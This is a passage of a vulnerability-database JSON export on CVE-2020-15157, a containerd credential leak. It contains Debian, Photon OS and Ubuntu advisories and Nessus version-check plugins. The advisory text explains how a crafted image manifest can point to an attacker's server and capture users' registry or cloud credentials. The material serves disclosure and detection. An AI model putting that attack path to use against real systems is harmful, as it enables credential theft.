"2020-10-16T17:15:00", "type": "debiancve", "title": "CVE-2020-15157", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-10-16T17:15:00", "id": "DEBIANCVE:CVE-2020-15157", "href": "https://security-tracker.debian.org/tracker/CVE-2020-15157", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "photon": [{"lastseen": "2021-11-03T20:57:40", "description": "An update of {'containerd'} packages of Photon OS has been released.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 4.0}, "published": "2020-10-23T00:00:00", "type": "photon", "title": "Home\nDownload Photon OS\nUser Documentation\nFAQ\nSecurity Advisories\nRelated Information\n\nLightwave - PHSA-2020-2.0-0292", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-10-23T00:00:00", "id": "PHSA-2020-2.0-0292", "href": "https://github.com/vmware/photon/wiki/Security-Updates-2-292", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-11-04T02:56:50", "description": "An update of {'oniguruma', 'containerd', 'apache-ant', 'python3'} packages of Photon OS has been released.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-10-24T00:00:00", "type": "photon", "title": "Home\nDownload Photon OS\nUser Documentation\nFAQ\nSecurity Advisories\nRelated Information\n\nLightwave - PHSA-2020-3.0-0155", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11979", "CVE-2020-15157", "CVE-2020-26116", "CVE-2020-26159"], "modified": "2020-10-24T00:00:00", "id": "PHSA-2020-3.0-0155", "href": "https://github.com/vmware/photon/wiki/Security-Updates-3.0-155", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2022-05-12T18:47:27", "description": "Updates of ['containerd', 'apache-ant', 'python3', 'oniguruma'] packages of Photon OS have been released.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-10-24T00:00:00", "type": "photon", "title": "Important Photon OS Security Update - PHSA-2020-0155", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11979", "CVE-2020-15157", "CVE-2020-26116", "CVE-2020-26159"], "modified": "2020-10-24T00:00:00", "id": "PHSA-2020-0155", "href": "https://github.com/vmware/photon/wiki/Security-Update-3.0-155", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}], "ubuntu": [{"lastseen": "2022-01-04T11:09:31", "description": "USN-4589-1 fixed a vulnerability in containerd. This update provides \nthe corresponding update for docker.io.\n\nOriginal advisory details:\n\nIt was discovered that containerd could be made to expose sensitive \ninformation when processing URLs in container image manifests. A \nremote attacker could use this to trick the user and obtain the \nuser's registry credentials.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 4.0}, "published": "2020-10-15T00:00:00", "type": "ubuntu", "title": "Docker vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-10-15T00:00:00", "id": "USN-4589-2", "href": "https://ubuntu.com/security/notices/USN-4589-2", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-01-04T11:09:31", "description": "It was discovered that containerd could be made to expose sensitive \ninformation when processing URLs in container image manifests. A \nremote attacker could use this to trick the user and obtain the \nuser's registry credentials.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 4.0}, "published": "2020-10-15T00:00:00", "type": "ubuntu", "title": "containerd vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2020-10-15T00:00:00", "id": "USN-4589-1", "href": "https://ubuntu.com/security/notices/USN-4589-1", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "nessus": [{"lastseen": "2021-08-19T12:11:48", "description": "The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-4589-2 advisory.\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 6.1, "vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}, "published": "2020-10-19T00:00:00", "type": "nessus", "title": "Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : Docker vulnerability (USN-4589-2)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157"], "modified": "2021-03-18T00:00:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:16.04:-:lts", "cpe:/o:canonical:ubuntu_linux:18.04:-:lts", "cpe:/o:canonical:ubuntu_linux:20.04:-:lts", "p-cpe:/a:canonical:ubuntu_linux:docker.io"], "id": "UBUNTU_USN-4589-2.NASL", "href": "https://www.tenable.com/plugins/nessus/141538", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-4589-2. The text\n# itself is copyright (C) Canonical, Inc. See\n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered\n# trademark of Canonical, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(141538);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/18\");\n\n script_cve_id(\"CVE-2020-15157\");\n script_xref(name:\"USN\", value:\"4589-2\");\n\n script_name(english:\"Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : Docker vulnerability (USN-4589-2)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Ubuntu host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has a package installed that is affected by a vulnerability as\nreferenced in the USN-4589-2 advisory.\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://ubuntu.com/security/notices/USN-4589-2\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker.io package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15157\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/19\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:20.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:docker.io\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_copyright(english:\"Ubuntu Security Notice (C) 2020-2021 Canonical, Inc. / NASL script (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\ninclude('audit.inc');\ninclude('ubuntu.inc');\ninclude('misc_func.inc');\n\nif ( ! get_kb_item('Host/local_checks_enabled') ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/Ubuntu/release');\nif ( isnull(release) ) audit(AUDIT_OS_NOT, 'Ubuntu');\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04|18\\.04|20\\.04)$\", string:release)) audit(AUDIT_OS_NOT, 'Ubuntu 16.04 / 18.04 / 20.04', 'Ubuntu ' + release);\nif ( ! get_kb_item('Host/Debian/dpkg-l') ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Ubuntu', cpu);\n\n\npkgs = [\n {'osver': '16.04', 'pkgname': 'docker.io', 'pkgver': '18.09.7-0ubuntu1~16.04.6'},\n {'osver': '18.04', 'pkgname': 'docker.io', 'pkgver': '19.03.6-0ubuntu1~18.04.2'},\n {'osver': '20.04', 'pkgname': 'docker.io', 'pkgver': '19.03.8-0ubuntu1.20.04.1'}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n osver = NULL;\n pkgname = NULL;\n pkgver = NULL;\n if (!empty_or_null(package_array['osver'])) osver = package_array['osver'];\n if (!empty_or_null(package_array['pkgname'])) pkgname = package_array['pkgname'];\n if (!empty_or_null(package_array['pkgver'])) pkgver = package_array['pkgver'];\n if (osver && pkgname && pkgver) {\n if (ubuntu_check(osver:osver, pkgname:pkgname, pkgver:pkgver)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_NOTE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'docker.io');\n}", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-08-19T12:12:01", "description": "The remote Ubuntu 16.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-4589-1 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 6.1, "vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}, "published": "2020-10-16T00:00:00", "type": "nessus", "title": "Ubuntu 16.04 LTS : containerd vulnerability (USN-4589-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157"], "modified": "2021-03-18T00:00:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:16.04:-:lts", "p-cpe:/a:canonical:ubuntu_linux:containerd"], "id": "UBUNTU_USN-4589-1.NASL", "href": "https://www.tenable.com/plugins/nessus/141479", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-4589-1. The text\n# itself is copyright (C) Canonical, Inc. See\n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered\n# trademark of Canonical, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(141479);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/18\");\n\n script_cve_id(\"CVE-2020-15157\");\n script_xref(name:\"USN\", value:\"4589-1\");\n\n script_name(english:\"Ubuntu 16.04 LTS : containerd vulnerability (USN-4589-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Ubuntu host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Ubuntu 16.04 LTS host has a package installed that is affected by a vulnerability as referenced in the\nUSN-4589-1 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's\nself-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://ubuntu.com/security/notices/USN-4589-1\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected containerd package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15157\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/16\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:containerd\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_copyright(english:\"Ubuntu Security Notice (C) 2020-2021 Canonical, Inc. / NASL script (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\ninclude('audit.inc');\ninclude('ubuntu.inc');\ninclude('misc_func.inc');\n\nif ( ! get_kb_item('Host/local_checks_enabled') ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/Ubuntu/release');\nif ( isnull(release) ) audit(AUDIT_OS_NOT, 'Ubuntu');\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04)$\", string:release)) audit(AUDIT_OS_NOT, 'Ubuntu 16.04', 'Ubuntu ' + release);\nif ( ! get_kb_item('Host/Debian/dpkg-l') ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Ubuntu', cpu);\n\n\npkgs = [\n {'osver': '16.04', 'pkgname': 'containerd', 'pkgver': '1.2.6-0ubuntu1~16.04.4'}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n osver = NULL;\n pkgname = NULL;\n pkgver = NULL;\n if (!empty_or_null(package_array['osver'])) osver = package_array['osver'];\n if (!empty_or_null(package_array['pkgname'])) pkgname = package_array['pkgname'];\n if (!empty_or_null(package_array['pkgver'])) pkgver = package_array['pkgver'];\n if (osver && pkgname && pkgver) {\n if (ubuntu_check(osver:osver, pkgname:pkgname, pkgver:pkgver)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_NOTE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'containerd');\n}", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-08-19T12:12:05", "description": "An update of the containerd package has been released.", "cvss3": {"score": 6.1, "vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}, "published": "2020-10-24T00:00:00", "type": "nessus", "title": "Photon OS 3.0: Containerd PHSA-2020-3.0-0155", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157"], "modified": "2021-03-18T00:00:00", "cpe": ["p-cpe:/a:vmware:photonos:containerd", "cpe:/o:vmware:photonos:3.0"], "id": "PHOTONOS_PHSA-2020-3_0-0155_CONTAINERD.NASL", "href": "https://www.tenable.com/plugins/nessus/141867", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from VMware Security Advisory PHSA-2020-3.0-0155. The text\n# itself is copyright (C) VMware, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(141867);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/18\");\n\n script_cve_id(\"CVE-2020-15157\");\n\n script_name(english:\"Photon OS 3.0: Containerd PHSA-2020-3.0-0155\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote PhotonOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"An update of the containerd package has been released.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://github.com/vmware/photon/wiki/Security-Updates-3.0-155.md\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected Linux packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15157\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:vmware:photonos:containerd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:photonos:3.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"PhotonOS Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/PhotonOS/release\", \"Host/PhotonOS/rpm-list\");\n\n exit(0);\n}\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item('Host/PhotonOS/release');\nif (isnull(release) || release !~ \"^VMware Photon\") audit(AUDIT_OS_NOT, 'PhotonOS');\nif (release !~ \"^VMware Photon (?:Linux|OS) 3\\.0(\\D|$)\") audit(AUDIT_OS_NOT, 'PhotonOS 3.0');\n\nif (!get_kb_item('Host/PhotonOS/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'PhotonOS', cpu);\n\nflag = 0;\n\nif (rpm_check(release:'PhotonOS-3.0', cpu:'x86_64', reference:'containerd-1.2.14-1.ph3')) flag++;\nif (rpm_check(release:'PhotonOS-3.0', cpu:'x86_64', reference:'containerd-doc-1.2.14-1.ph3')) flag++;\nif (rpm_check(release:'PhotonOS-3.0', cpu:'x86_64', reference:'containerd-extras-1.2.14-1.ph3')) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_NOTE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'containerd');\n}\n", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-08-19T12:11:47", "description": "The remote Oracle Linux 7 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2020-5900 advisory.\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 6.1, "vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}, "published": "2020-10-28T00:00:00", "type": "nessus", "title": "Oracle Linux 7 : docker-engine / docker-cli (ELSA-2020-5900)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157"], "modified": "2021-03-18T00:00:00", "cpe": ["cpe:/o:oracle:linux:7", "p-cpe:/a:oracle:linux:docker-cli", "p-cpe:/a:oracle:linux:docker-engine"], "id": "ORACLELINUX_ELSA-2020-5900.NASL", "href": "https://www.tenable.com/plugins/nessus/142024", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Oracle Linux Security Advisory ELSA-2020-5900.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(142024);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/18\");\n\n script_cve_id(\"CVE-2020-15157\");\n\n 